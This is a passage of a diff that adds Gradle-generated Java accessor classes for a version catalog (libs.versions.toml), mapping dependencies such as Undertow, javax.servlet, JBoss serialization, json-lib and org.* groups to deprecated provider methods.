+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getCore() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("io.projectreactor.reactor.core"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class IoUndertowLibraryAccessors extends SubDependencyFactory { + private final IoUndertowUndertowLibraryAccessors laccForIoUndertowUndertowLibraryAccessors = new IoUndertowUndertowLibraryAccessors(owner); + + public IoUndertowLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at io.undertow.undertow + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public IoUndertowUndertowLibraryAccessors getUndertow() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForIoUndertowUndertowLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class IoUndertowUndertowLibraryAccessors extends SubDependencyFactory { + + public IoUndertowUndertowLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for core with io.undertow:undertow-core coordinates and + * with version reference io.undertow.undertow.core + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getCore() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("io.undertow.undertow.core"); + } + + /** + * Dependency provider for servlet with io.undertow:undertow-servlet coordinates and + * with version reference io.undertow.undertow.servlet + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getServlet() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("io.undertow.undertow.servlet"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class JavaxLibraryAccessors extends SubDependencyFactory { + private final JavaxMediaLibraryAccessors laccForJavaxMediaLibraryAccessors = new JavaxMediaLibraryAccessors(owner); + private final JavaxServletLibraryAccessors laccForJavaxServletLibraryAccessors = new JavaxServletLibraryAccessors(owner); + private final JavaxWebsocketLibraryAccessors laccForJavaxWebsocketLibraryAccessors = new JavaxWebsocketLibraryAccessors(owner); + + public JavaxLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at javax.media + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public JavaxMediaLibraryAccessors getMedia() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForJavaxMediaLibraryAccessors; + } + + /** + * Group of libraries at javax.servlet + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public JavaxServletLibraryAccessors getServlet() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForJavaxServletLibraryAccessors; + } + + /** + * Group of libraries at javax.websocket + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public JavaxWebsocketLibraryAccessors getWebsocket() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForJavaxWebsocketLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class JavaxMediaLibraryAccessors extends SubDependencyFactory { + private final JavaxMediaJaiLibraryAccessors laccForJavaxMediaJaiLibraryAccessors = new JavaxMediaJaiLibraryAccessors(owner); + + public JavaxMediaLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at javax.media.jai + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public JavaxMediaJaiLibraryAccessors getJai() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForJavaxMediaJaiLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class JavaxMediaJaiLibraryAccessors extends SubDependencyFactory { + private final JavaxMediaJaiJaiLibraryAccessors laccForJavaxMediaJaiJaiLibraryAccessors = new JavaxMediaJaiJaiLibraryAccessors(owner); + + public JavaxMediaJaiLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at javax.media.jai.jai + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public JavaxMediaJaiJaiLibraryAccessors getJai() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForJavaxMediaJaiJaiLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class JavaxMediaJaiJaiLibraryAccessors extends SubDependencyFactory { + + public JavaxMediaJaiJaiLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for core with javax.media.jai:jai-core coordinates and + * with version reference javax.media.jai.jai.core + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getCore() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("javax.media.jai.jai.core"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class JavaxServletLibraryAccessors extends SubDependencyFactory { + private final JavaxServletJavaxLibraryAccessors laccForJavaxServletJavaxLibraryAccessors = new JavaxServletJavaxLibraryAccessors(owner); + + public JavaxServletLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at javax.servlet.javax + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public JavaxServletJavaxLibraryAccessors getJavax() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForJavaxServletJavaxLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class JavaxServletJavaxLibraryAccessors extends SubDependencyFactory { + private final JavaxServletJavaxServletLibraryAccessors laccForJavaxServletJavaxServletLibraryAccessors = new JavaxServletJavaxServletLibraryAccessors(owner); + + public JavaxServletJavaxLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at javax.servlet.javax.servlet + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public JavaxServletJavaxServletLibraryAccessors getServlet() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForJavaxServletJavaxServletLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class JavaxServletJavaxServletLibraryAccessors extends SubDependencyFactory { + + public JavaxServletJavaxServletLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for api with javax.servlet:javax.servlet-api coordinates and + * with version reference javax.servlet.javax.servlet.api + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getApi() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("javax.servlet.javax.servlet.api"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class JavaxWebsocketLibraryAccessors extends SubDependencyFactory { + private final JavaxWebsocketJavaxLibraryAccessors laccForJavaxWebsocketJavaxLibraryAccessors = new JavaxWebsocketJavaxLibraryAccessors(owner); + + public JavaxWebsocketLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at javax.websocket.javax + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public JavaxWebsocketJavaxLibraryAccessors getJavax() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForJavaxWebsocketJavaxLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class JavaxWebsocketJavaxLibraryAccessors extends SubDependencyFactory { + private final JavaxWebsocketJavaxWebsocketLibraryAccessors laccForJavaxWebsocketJavaxWebsocketLibraryAccessors = new JavaxWebsocketJavaxWebsocketLibraryAccessors(owner); + + public JavaxWebsocketJavaxLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at javax.websocket.javax.websocket + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public JavaxWebsocketJavaxWebsocketLibraryAccessors getWebsocket() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForJavaxWebsocketJavaxWebsocketLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class JavaxWebsocketJavaxWebsocketLibraryAccessors extends SubDependencyFactory { + + public JavaxWebsocketJavaxWebsocketLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for api with javax.websocket:javax.websocket-api coordinates and + * with version reference javax.websocket.javax.websocket.api + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getApi() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("javax.websocket.javax.websocket.api"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class JbossLibraryAccessors extends SubDependencyFactory { + private final JbossJbossLibraryAccessors laccForJbossJbossLibraryAccessors = new JbossJbossLibraryAccessors(owner); + + public JbossLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at jboss.jboss + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public JbossJbossLibraryAccessors getJboss() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForJbossJbossLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class JbossJbossLibraryAccessors extends SubDependencyFactory { + + public JbossJbossLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for serialization with jboss:jboss-serialization coordinates and + * with version reference jboss.jboss.serialization + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getSerialization() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("jboss.jboss.serialization"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class JunitLibraryAccessors extends SubDependencyFactory { + + public JunitLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for junit with junit:junit coordinates and + * with version reference junit.junit + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getJunit() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("junit.junit"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class NetLibraryAccessors extends SubDependencyFactory { + private final NetJodahLibraryAccessors laccForNetJodahLibraryAccessors = new NetJodahLibraryAccessors(owner); + private final NetSfLibraryAccessors laccForNetSfLibraryAccessors = new NetSfLibraryAccessors(owner); + + public NetLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at net.jodah + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public NetJodahLibraryAccessors getJodah() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForNetJodahLibraryAccessors; + } + + /** + * Group of libraries at net.sf + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public NetSfLibraryAccessors getSf() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForNetSfLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class NetJodahLibraryAccessors extends SubDependencyFactory { + + public NetJodahLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for expiringmap with net.jodah:expiringmap coordinates and + * with version reference net.jodah.expiringmap + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getExpiringmap() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("net.jodah.expiringmap"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class NetSfLibraryAccessors extends SubDependencyFactory { + private final NetSfJsonLibraryAccessors laccForNetSfJsonLibraryAccessors = new NetSfJsonLibraryAccessors(owner); + + public NetSfLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at net.sf.json + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public NetSfJsonLibraryAccessors getJson() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForNetSfJsonLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class NetSfJsonLibraryAccessors extends SubDependencyFactory { + private final NetSfJsonLibLibraryAccessors laccForNetSfJsonLibLibraryAccessors = new NetSfJsonLibLibraryAccessors(owner); + + public NetSfJsonLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at net.sf.json.lib + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public NetSfJsonLibLibraryAccessors getLib() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForNetSfJsonLibLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class NetSfJsonLibLibraryAccessors extends SubDependencyFactory { + private final NetSfJsonLibJsonLibraryAccessors laccForNetSfJsonLibJsonLibraryAccessors = new NetSfJsonLibJsonLibraryAccessors(owner); + + public NetSfJsonLibLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at net.sf.json.lib.json + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public NetSfJsonLibJsonLibraryAccessors getJson() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForNetSfJsonLibJsonLibraryAccessors; + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class NetSfJsonLibJsonLibraryAccessors extends SubDependencyFactory { + + public NetSfJsonLibJsonLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Dependency provider for lib with net.sf.json-lib:json-lib coordinates and + * with version reference net.sf.json.lib.json.lib + *

+ * This dependency was declared in catalog libs.versions.toml + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public Provider getLib() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return create("net.sf.json.lib.json.lib"); + } + + } + + /** + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public static class OrgLibraryAccessors extends SubDependencyFactory { + private final OrgApacheLibraryAccessors laccForOrgApacheLibraryAccessors = new OrgApacheLibraryAccessors(owner); + private final OrgAspectjLibraryAccessors laccForOrgAspectjLibraryAccessors = new OrgAspectjLibraryAccessors(owner); + private final OrgBeanshellLibraryAccessors laccForOrgBeanshellLibraryAccessors = new OrgBeanshellLibraryAccessors(owner); + private final OrgClojureLibraryAccessors laccForOrgClojureLibraryAccessors = new OrgClojureLibraryAccessors(owner); + private final OrgCodehausLibraryAccessors laccForOrgCodehausLibraryAccessors = new OrgCodehausLibraryAccessors(owner); + private final OrgEclipseLibraryAccessors laccForOrgEclipseLibraryAccessors = new OrgEclipseLibraryAccessors(owner); + private final OrgFusesourceLibraryAccessors laccForOrgFusesourceLibraryAccessors = new OrgFusesourceLibraryAccessors(owner); + private final OrgGlassfishLibraryAccessors laccForOrgGlassfishLibraryAccessors = new OrgGlassfishLibraryAccessors(owner); + private final OrgHibernateLibraryAccessors laccForOrgHibernateLibraryAccessors = new OrgHibernateLibraryAccessors(owner); + private final OrgJavassistLibraryAccessors laccForOrgJavassistLibraryAccessors = new OrgJavassistLibraryAccessors(owner); + private final OrgJbossLibraryAccessors laccForOrgJbossLibraryAccessors = new OrgJbossLibraryAccessors(owner); + private final OrgJenkinsLibraryAccessors laccForOrgJenkinsLibraryAccessors = new OrgJenkinsLibraryAccessors(owner); + private final OrgOw2LibraryAccessors laccForOrgOw2LibraryAccessors = new OrgOw2LibraryAccessors(owner); + private final OrgPythonLibraryAccessors laccForOrgPythonLibraryAccessors = new OrgPythonLibraryAccessors(owner); + private final OrgReflectionsLibraryAccessors laccForOrgReflectionsLibraryAccessors = new OrgReflectionsLibraryAccessors(owner); + private final OrgSpringframeworkLibraryAccessors laccForOrgSpringframeworkLibraryAccessors = new OrgSpringframeworkLibraryAccessors(owner); + + public OrgLibraryAccessors(AbstractExternalDependencyFactory owner) { super(owner); } + + /** + * Group of libraries at org.apache + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgApacheLibraryAccessors getApache() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgApacheLibraryAccessors; + } + + /** + * Group of libraries at org.aspectj + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgAspectjLibraryAccessors getAspectj() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgAspectjLibraryAccessors; + } + + /** + * Group of libraries at org.beanshell + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgBeanshellLibraryAccessors getBeanshell() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgBeanshellLibraryAccessors; + } + + /** + * Group of libraries at org.clojure + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgClojureLibraryAccessors getClojure() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgClojureLibraryAccessors; + } + + /** + * Group of libraries at org.codehaus + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgCodehausLibraryAccessors getCodehaus() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgCodehausLibraryAccessors; + } + + /** + * Group of libraries at org.eclipse + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgEclipseLibraryAccessors getEclipse() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgEclipseLibraryAccessors; + } + + /** + * Group of libraries at org.fusesource + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgFusesourceLibraryAccessors getFusesource() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgFusesourceLibraryAccessors; + } + + /** + * Group of libraries at org.glassfish + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgGlassfishLibraryAccessors getGlassfish() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgGlassfishLibraryAccessors; + } + + /** + * Group of libraries at org.hibernate + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgHibernateLibraryAccessors getHibernate() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgHibernateLibraryAccessors; + } + + /** + * Group of libraries at org.javassist + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJavassistLibraryAccessors getJavassist() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJavassistLibraryAccessors; + } + + /** + * Group of libraries at org.jboss + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJbossLibraryAccessors getJboss() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJbossLibraryAccessors; + } + + /** + * Group of libraries at org.jenkins + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgJenkinsLibraryAccessors getJenkins() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgJenkinsLibraryAccessors; + } + + /** + * Group of libraries at org.ow2 + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgOw2LibraryAccessors getOw2() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgOw2LibraryAccessors; + } + + /** + * Group of libraries at org.python + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgPythonLibraryAccessors getPython() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgPythonLibraryAccessors; + } + + /** + * Group of libraries at org.reflections + * + * @deprecated Will be removed in Gradle 9.0. + */ + @Deprecated + public OrgReflectionsLibraryAccessors getReflections() { + org.gradle.internal.deprecation.DeprecationLogger.deprecateBehaviour("Accessing libraries or bundles from version catalogs in the plugins block.").withAdvice("Only use versions or plugins from catalogs in the plugins block.").willBeRemovedInGradle9().withUpgradeGuideSection(8, "kotlin_dsl_deprecated_catalogs_plugins_block").nagUser(); + return laccForOrgReflectionsLibraryAccessors; + } + + /** + * Group of 